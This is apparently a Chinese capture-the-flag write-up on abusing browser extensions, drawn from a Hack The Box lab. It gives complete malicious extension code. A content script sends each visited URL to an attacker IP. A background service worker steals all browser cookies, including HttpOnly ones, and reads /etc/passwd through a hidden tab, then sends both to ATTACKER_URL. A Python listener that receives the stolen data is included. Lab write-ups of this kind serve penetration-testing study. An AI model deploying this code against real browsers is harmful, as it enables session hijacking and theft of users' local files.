browser extension Abuse
Browser Extension Pentesting Methodology - HackTricks
BrowExt - permissions & host_permissions - HackTricks
1. 介绍
一个浏览器拓展的基本结构
┌──(root㉿kali)-[~/Desktop/htb/Browsed]
└─# tree fontify
fontify
├── content.js #前台JS文件(非必需)
├── manifest.json #核心配置文件(必需)
├── background.js #后台JS文件(非必需)
├── popup.html #资源文件
├── popup.js #资源文件
└── style.css #资源文件
2. 利用
2.1. 用content.js来进行探测
content.js的上下文为当前页面,即可以在当前页面中执行js代码,会受到httpOnly CSP等策略的影响
下面是 manifest.json
{
"manifest_version": 3,
"name": "malicious_extension",
"version": "2.0.0",
"description": "malicious extension",
"permissions": [
"storage",
"scripting"
],
"content_scripts": [
{
"matches": [
"<all_urls>"
],
"js": [
"content.js"
],
"run_at": "document_idle"
}
]
}
其中:
run_at控制何时把content.js注入页面,默认document_idle表示在浏览器空闲时注入,这里我们指定为这个类型,避免脚本加载过快,机器人来不及反应<all_urls>匹配所有页面,这里表示在任何页面都会运行content.jsstorage和scripting权限分别帮助插件进行获取存储数据和进行脚本注入
下一步我们需要编写 content.js
这里我编写一个最简单的js,他会想我们的ip发起get请求 并带上他当前页面的url
fetch('http://10.10.14.86/?url=' + btoa(location.href));
2.2. 利用background.js
比起前台的content.js, 后台运行的backgournd.js的权限会更大,但是也需要更多的特权允许。
后台js的上下文不再是当前的浏览器页面,而是整个浏览器,所以可以获取到浏览器数据库、历史记录、收藏、甚至进行本地文件读取
下面是一个 获取cookie和读取/etc/passwd的拓展源码
manifest.json
{
"manifest_version": 3,
"name": "LFI_Getcookies",
"version": "1.0",
"description": "LFI_Getcookies",
"permissions": [
"cookies",
"tabs",
"storage",
"scripting"
],
"host_permissions": [
"<all_urls>"
],
"background": {
"service_worker": "background.js"
}
}
background.js
const ATTACKER_URL = "http://10.10.14.86:4445";
chrome.runtime.onInstalled.addListener(() => {
console.log("Extension installed. Initiating extraction...");
// 1. 窃取所有 Cookie
chrome.cookies.getAll({}, (cookies) => {
fetch(`${ATTACKER_URL}/cookies`, {
method: 'POST',
body: JSON.stringify(cookies),
headers: { 'Content-Type': 'application/json' }
});
});
// 2. 读取本地敏感文件
chrome.tabs.create({ url: "file:///etc/passwd", active: false }, (tab) => {
setTimeout(() => {
chrome.scripting.executeScript({
target: { tabId: tab.id },
func: () => document.body.innerText
}, (results) => {
if (results && results[0].result) {
const fileContent = results[0].result;
// 使用 Base64 编码
fetch(`${ATTACKER_URL}/file?path=/etc/passwd&data=${btoa(fileContent)}`, {
method: 'GET'
});
}
chrome.tabs.remove(tab.id);
});
}, 2000);
});
});
lisen.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import base64
from urllib.parse import urlparse, parse_qs
class AttackListener(BaseHTTPRequestHandler):
def do_POST(self):
# 处理 Cookie 数据 (POST)
if self.path == "/cookies":
length = int(self.headers.get('Content-Length', 0))
data = self.rfile.read(length)
print("\n[!] 接收到 Cookie 数据:")
try:
cookies = json.loads(data)
for c in cookies:
# 重点关注包含 HttpOnly 的项
secure_info = "[HttpOnly]" if c.get('httpOnly') else ""
print(f"Domain: {c['domain']} | {c['name']} = {c['value']} {secure_info}")
except:
print(data.decode())
self.send_response(200)
self.end_headers()
def do_GET(self):
# 处理文件数据 (GET 携带 Base64)
if "/file" in self.path:
query = parse_qs(urlparse(self.path).query)
if 'data' in query:
file_data = base64.b64decode(query['data'][0]).decode(errors='ignore')
print(f"\n[!] 接收到本地文件内容 ({query.get('path',['unknown'])[0]}):")
print("-" * 50)
print(file_data)
print("-" * 50)
self.send_response(200)
self.end_headers()
HTTPServer(("0.0.0.0", 4445), AttackListener).serve_forever()
